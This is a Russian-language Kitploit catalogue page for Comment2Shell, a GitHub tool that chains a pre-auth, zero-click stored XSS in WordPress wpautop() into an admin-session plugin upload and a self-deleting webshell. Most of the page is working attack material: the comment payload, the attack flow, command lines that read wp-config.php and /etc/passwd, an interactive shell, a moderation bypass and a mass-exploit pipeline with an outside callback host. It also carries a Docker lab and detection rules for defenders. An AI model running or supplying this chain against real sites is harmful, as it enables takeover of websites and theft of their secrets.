Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Comment2Shell — Цепочка эксплуатации WordPress CVE-2026-93485 с zero-click и pre-auth: хранимая XSS в wpautop() приводит к загрузке плагина через admin-сессию и самоудаляющемуся веб-шеллу, с сканером, шеллом и шаблоном Nuclei. | Kitploit
Инструменты/GitHubGitHub/deathshotxd/comment2shell
Сканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияВиртуализация для безопасностиВеб-безопасностьТестирование на ПроникновениеRed TeamingРазработка Полезной НагрузкиЛаборатории и Практика
GitHub
1115 ч 28 мин назадЕщё не проверено
deathshotxd/comment2shell

Comment2Shell

Цепочка эксплуатации WordPress CVE-2026-93485 с zero-click и pre-auth: хранимая XSS в wpautop() приводит к загрузке плагина через admin-сессию и самоудаляющемуся веб-шеллу, с сканером, шеллом и шаблоном Nuclei.

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Comment2Shell

Comment2Shell — это сквозной proof-of-concept для CVE-2026-93485, хранимого XSS до аутентификации в ядре WordPress wpautop(), который повышается до удалённого выполнения кода в сессии администратора. Анонимный комментарий внедряет полезную нагрузку; когда администратор открывает запись, браузер загружает плагин-вебшелл, выполняет команду и снова удаляет шелл. Вся цепочка — это один файл Python без зависимостей.

Comment2Shell logo

CVE-2026-93485, CVSS 7.1 HIGH, pre-auth, zero-click, fixed in 7.1.1

Animated terminal: the exploit chain end to end


Что такое Comment2Shell?

Comment2Shell — это эксплойт и набор для локальной лаборатории для CVE-2026-93485. Уязвимость находится в wp-includes/formatting.php, в фильтре абзацев wpautop(), который выполняется во время отображения текста комментария. Символ новой строки внутри атрибута blockquote cite становится заполнителем HTML-комментария; регулярное выражение, оборачивающее blockquote, останавливается на первом и внедряет тег абзаца в середину атрибута, который браузер затем разбирает как обработчик . Атрибут запускает его без клика.

>
onfocus
autofocus

Инструмент охватывает всю цепочку: пассивное сканирование версии, безопасный XSS-зонд, полный эксплойт от предварительной аутентификации до RCE, интерактивный шелл и защитную проверку IOC.


Эксплойту не нужны ни учётная запись, ни nonce, ни взаимодействие — только просмотр записи администратором. Комментарии должны быть просто открыты.


Comment2Shell - CVE-2026-93485

Почему это важно

WordPress занимает значительную долю веба, а wpautop() — это код ядра, поэтому уязвимый фильтр поставляется в каждой затронутой установке независимо от темы или плагина. XSS является хранимым, до аутентификации и без клика. Поскольку он выполняется в сессии администратора, это больше, чем дефейс: cookie администратора достаточно для установки плагина, а установка плагина — это произвольное выполнение кода.

Исправление вышло в WordPress 7.1.1 с бэкпортами по 25 веткам, вплоть до 4.7.36. Затронут каждый релиз с 4.7.0 по 7.1.0.

Демонстрация


Comment2Shell demonstration


Запуск в контролируемой лаборатории против WordPress 7.1.0: анонимный комментарий внедряет полезную нагрузку, администратор, открывая запись, запускает цепочку без клика, вебшелл загружается, вывод команды возвращается, и шелл удаляет себя. Заголовок вкладки браузера сообщает результат: либо Comment2Shell: shell uploaded, либо Comment2Shell: admin login required. Точную процедуру см. в docker/README.md.

Вклад в исследование

Comment2Shell не претендует на обнаружение уязвимости. О ней сообщил Rafie Muhammad (Awesome Motive) через программу HackerOne WordPress, и она была исправлена в 7.1.1. Вклад здесь — это воспроизводимая реализация всей цепочки без зависимостей:

  • условия фильтра во время отображения, позволяющие полезной нагрузке пройти KSES
  • сборщик ZIP в браузере, чтобы для загрузки плагина не требовался внешний файл
  • автоматическая очистка, при которой вебшелл удаляет себя после команды
  • артефакты для blue team: шаблон nuclei, скрипт IOC и запросы к логам

Схема атаки

Anonymous comment, wpautop bug, zero-click XSS, admin view, remote code execution


root@kitploit:~
1. Anonymous comment submission (no auth, no nonce)
   POST /wp-comments-post.php
   <blockquote cite="a\nb"><code>x" onfocus=... autofocus>
   KSES allows blockquote[cite] and code; the newline in cite survives.

2. Display-time filter chain (the bug)
   wpautop() at formatting.php:563:
     preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
   [^>]* stops at the > inside the <!-- wpnl --> comment,
   so a <p> gets injected inside the cite attribute.

3. wptexturize() seals the attribute (block themes)
   Outer " becomes &#8221; (curly quote).
   The " inside <code> stays straight (no-texturize list).
   The browser then parses onfocus/autofocus as real attributes.

4. Zero-click XSS in the admin session
   autofocus fires onfocus on page load, no click needed.
   JS runs with the admin cookies.

5. Admin session -> plugin upload -> RCE
   GET /wp-admin/plugin-install.php, extract the nonce.
   Build ZIP in memory, POST update.php?action=upload-plugin.
   Webshell lands at wp-content/plugins/<rand>/<rand>.php.
   GET /wp-content/plugins/<rand>/<rand>.php?c=id

Требования

  • Комментарии открыты на опубликованной записи (по умолчанию)
  • Разрешено анонимное комментирование (по умолчанию, comment_registration=0)
  • Активна блочная тема (по умолчанию начиная с Twenty Twenty-Two)
  • Администратор, который просматривает запись, будучи авторизованным
  • Python 3.8+ (только стандартная библиотека)

Установка

root@kitploit:~
git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help

Без зависимостей. Только стандартная библиотека Python 3.8+, без pip install.

Использование

Пассивное сканирование версии

root@kitploit:~
# Single target
python3 comment2shell.py --scan -t https://target.com

# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20

# From a pipeline
subfinder -d targets.txt | httpx -title | \
  grep -i wordpress | python3 comment2shell.py --scan --stdin

# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json

Активный XSS-зонд

root@kitploit:~
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com

# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
  --callback https://your-id.oast.example

Полная цепочка эксплойта до выполнения команд

Полезная нагрузка эксплойта вызывает alert("Comment2Shell XSS - CVE-2026-93485") при загрузке страницы (без клика через autofocus). Просмотрите запись, будучи авторизованным как администратор. Затем заголовок вкладки покажет Comment2Shell: shell uploaded при успехе или Comment2Shell: admin login required, если в браузере нет сессии администратора.

root@kitploit:~
# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"

# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"

# Wait longer for the admin to view the post (default 45s)
python3 comment2shell.py -t https://target.com -c "id" --wait 60

# Keep the webshell after execution
python3 comment2shell.py -t https://target.com -c "id" --no-cleanup

# With an OAST callback
python3 comment2shell.py -t https://target.com \
  -c "cat /etc/passwd" \
  --callback https://your-id.oast.example

# Known-commenter approval bypass
python3 comment2shell.py -t https://target.com \
  -c "whoami" --known-commenter

# Through a proxy
python3 comment2shell.py -t https://target.com \
  -c "id" --proxy http://127.0.0.1:8080

Инструмент отправляет XSS-комментарий, опрашивает сгенерированный путь вебшелла каждые 3 с (до --wait секунд), выполняет команду, как только браузер администратора запускает загрузку, а затем самоудаляет шелл (?d=1 удаляет PHP-файл и убирает каталог плагина), чтобы не оставлять персистентности. Передайте --no-cleanup, чтобы сохранить его, или --wait 0, чтобы только отправить полезную нагрузку.

Интерактивный шелл

root@kitploit:~
# With a known shell path
python3 comment2shell.py --shell -t https://target.com \
  --shell-path ab12cd/ab12cd.php

# Run a single command on an existing shell
python3 comment2shell.py --exec -t https://target.com \
  --shell-path ab12cd/ab12cd.php -c "cat wp-config.php"

Проверка IOC

root@kitploit:~
python3 comment2shell.py --ioc -t https://target.com

Обход одобрения комментариев

Новые комментарии от впервые комментирующих обычно удерживаются на модерации. У инструмента есть три пути обхода этого:

МаршрутМетодФлаг
Известный комментаторПовторно использует стандартного "A WordPress Commenter" <[email protected]>, которого check_comment() автоматически одобряет--known-commenter
Модерация выключенаЕсли comment_previously_approved=0, любая личность одобряется автоматическипо умолчанию
Предпросмотр авторомРанее комментировавший видит ожидающие комментарии через cookie ?unapproved=<id>&moderation-hash=<hash>автоматически

По данным Patchstack: "модерация — это не средство контроля безопасности."

Лаборатория Docker

Разверните уязвимый WordPress 7.1.0 для локального тестирования:

root@kitploit:~
cd docker
docker compose up -d
bash setup.sh
# Target: http://localhost:80  (host networking)
# Admin:  admin / Password123!
# Then:   python3 comment2shell.py -t http://localhost -c "id"

Каждый запуск отправляет новый комментарий с полезной нагрузкой. На странице выполняется только первая autofocus-нагрузка, поэтому инструмент обнаруживает активную нагрузку и опрашивает её путь; запустите bash clean.sh, чтобы очистить старые комментарии между запусками.

Обнаружение

Серверный IoC

root@kitploit:~
# Suspicious comment submissions (newline in blockquote cite)
grep -rE 'blockquote.*cite=.*\n' /var/www/html/wp-content/ 2>/dev/null

# wp_comments table
mysql -e "SELECT comment_ID, comment_author, LEFT(comment_content,200) \
  FROM wp_comments WHERE comment_content LIKE '%blockquote%cite%\
  onfocus%' ORDER BY comment_date DESC;"

# Recently uploaded single-file plugins
find /var/www/html/wp-content/plugins/ -maxdepth 2 -name "*.php" \
  -newer /var/www/html/wp-config.php -not -path "*/akismet/*" \
  -not -path "*/hello*"

Сетевой IoC

root@kitploit:~
# Unusual POST to wp-comments-post.php with blockquote + onfocus
http.request.uri == "/wp-comments-post.php" AND
http.request.body contains "blockquote" AND
http.request.body contains "onfocus" AND
http.request.body contains "autofocus"

# Single-file plugin uploads from non-admin IPs
http.request.uri == "/wp-admin/update.php" AND
http.request.body contains "pluginzip"

Шаблон Nuclei

root@kitploit:~
nuclei -t nuclei/CVE-2026-93485.yaml -u https://target.com

Проверка патча

root@kitploit:~
# Vulnerable (before 7.1.1):
grep -n 'blockquote(\[^>\]\*)' wp-includes/formatting.php
# Should show: |<p><blockquote([^>]*)>|

# Patched (7.1.1+):
grep -n 'blockquote((?:\[^>"'\'')' wp-includes/formatting.php
# Should show: !<p><blockquote((?:[^>"']|"[^"]*"|'[^']*')*)>

Примеры конвейеров

root@kitploit:~
# Find WordPress targets -> scan for CVE-2026-93485
subfinder -d program-scope.com -silent | \
  httpx -silent -title | \
  grep -i "wordpress" | \
  python3 comment2shell.py --scan --stdin --threads 20

# Mass exploit with OAST (authorized testing only)
cat vulnerable_targets.txt | \
  python3 comment2shell.py -t - -c "id" \
    --callback https://your-id.oast.example

# Save results as JSON
python3 comment2shell.py --scan -f all_targets.txt \
  --threads 30 -o scan_results.json --json

Технические детали

Первопричина

wp-includes/formatting.php:563 (уязвимо, до 7.1.1):

root@kitploit:~
// VULNERABLE: [^>]* stops at > inside HTML comment placeholder
$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );

// PATCHED (7.1.1): quote-aware subpattern
$text = preg_replace( '!<p><blockquote((?:[^>"\']|"[^"]*"|\'[^\']*\')*)>!i', '<blockquote$1><p>', $text );

Почему KSES это не ловит

Полезная нагрузка во время сохранения является безобидным HTML. blockquote[cite] и code входят в белый список комментариев (wp-includes/kses.php:605-633). Символ новой строки отсутствует в карте синтаксических символов wp_kses_hair(). Эксплойт происходит во время отображения, когда фильтры comment_text преобразуют сохранённый HTML.

Цепочка фильтров comment_text

root@kitploit:~
add_filter( 'comment_text', 'wptexturize' );       // seals the attribute
add_filter( 'comment_text', 'convert_chars' );
add_filter( 'comment_text', 'make_clickable', 9 );
add_filter( 'comment_text', 'force_balance_tags', 25 );
add_filter( 'comment_text', 'convert_smilies', 20 );
add_filter( 'comment_text', 'wpautop', 30 );        // THE BUG

Затронутые версии

Исправление вышло в 7.1.1 по 25 веткам. Затронут каждый релиз с 4.7.0 по 7.1.0.

ВеткаУязвимо <=Исправлено
7.17.1.07.1.1
7.07.0.47.0.5
6.96.9.76.9.8
6.86.8.86.8.9
6.76.7.76.7.8
6.66.6.76.6.8
6.56.5.106.5.11
6.46.4.106.4.11
6.36.3.106.3.11
6.26.2.116.2.12
6.16.1.126.1.13
6.06.0.146.0.15
5.95.9.165.9.17
5.85.8.155.8.16
5.75.7.175.7.18
5.65.6.195.6.20
5.55.5.205.5.21
5.45.4.215.4.22
5.35.3.235.3.24
5.25.2.265.2.27
5.15.1.245.1.25
5.05.0.275.0.28
4.94.9.314.9.32
4.84.8.304.8.31
4.74.7.354.7.36

Структура репозитория

root@kitploit:~
Comment2Shell/
|-- comment2shell.py      scan, probe, exploit, shell, IOC check
|-- README.md
|-- PLAN.md               weekly maintenance plan
|-- BROWSER_VALIDATION.md manual browser validation steps
|-- docker/               vulnerable WordPress 7.1.0 lab
|   |-- docker-compose.yml
|   |-- setup.sh
|   |-- clean.sh
|   +-- README.md
|-- nuclei/               detection template
|-- ioc/                  server-side IOC checker
|-- requests/             raw HTTP exploit templates
|-- assets/               banner, logo, demo, animated SVGs
|-- browser_validate.html
|-- xss_validate.html
|-- validate.sh
+-- LICENSE

Ограничения

  • Путь XSS зависит от блочной темы (wptexturize запечатывает атрибут); классические темы могут его не запускать.
  • Полезная нагрузка должна быть видна администратору, поэтому требуется автоодобрение или уже одобренная личность комментатора.
  • Шаг RCE требует, чтобы администратор действительно просмотрел запись, будучи авторизованным; без этого демонстрируется только хранимый XSS.
  • На странице выполняется только первая autofocus-нагрузка. Инструмент обнаруживает активную нагрузку, но устаревшие комментарии с нагрузкой следует очищать с помощью docker/clean.sh.
  • Входящая в комплект лаборатория — это WordPress 7.1.0. Другие ветки используют ту же уязвимую регулярное выражение, но не все были проверены.

Ссылки

  • CVE-2026-93485 - https://www.cve.org/CVERecord?id=CVE-2026-93485
  • GitHub advisory GHSA-qg7r-fjh2-wvx8 - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-qg7r-fjh2-wvx8
  • WordPress 7.1.1 release - https://wordpress.org/news/2026/09/wordpress-7-1-1-maintenance-and-security-release/
  • Researcher writeup - https://idnsec.com/research/comment2shell-zero-click-pre-auth-xss-to-rce-in-wordpress-core/
  • Patchstack analysis - https://patchstack.com/articles/wordpress-7-1-1-maintenance-and-security-release/
  • NVD - https://nvd.nist.gov/vuln/detail/CVE-2026-93485

Хронология

  • 2026-09-08 - сообщено через программу HackerOne WordPress
  • 2026-09-15 - запрошен CVE у Patchstack
  • 2026-09-17 - исправлено в WordPress 7.1.1
  • 2026-09-18 - присвоен CVE-2026-93485 (CVSS 7.1)
  • 2026-09-21 - опубликован отчёт исследователя
  • 2026-09-22 - освещение от THN, Orca и SiteGuarding
  • 2026-09-23 - выпущен этот инструмент

Ответственное использование

Этот проект существует для авторизованного тестирования безопасности и обучения. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Неавторизованный доступ к компьютерным системам незаконен в большинстве юрисдикций. Авторы не несут ответственности за неправомерное использование или ущерб. См. LICENSE.

Автор

0xDeathShotX_X - github.com/DeathShotXD | @SyedWaj25802383

Скачать инструмент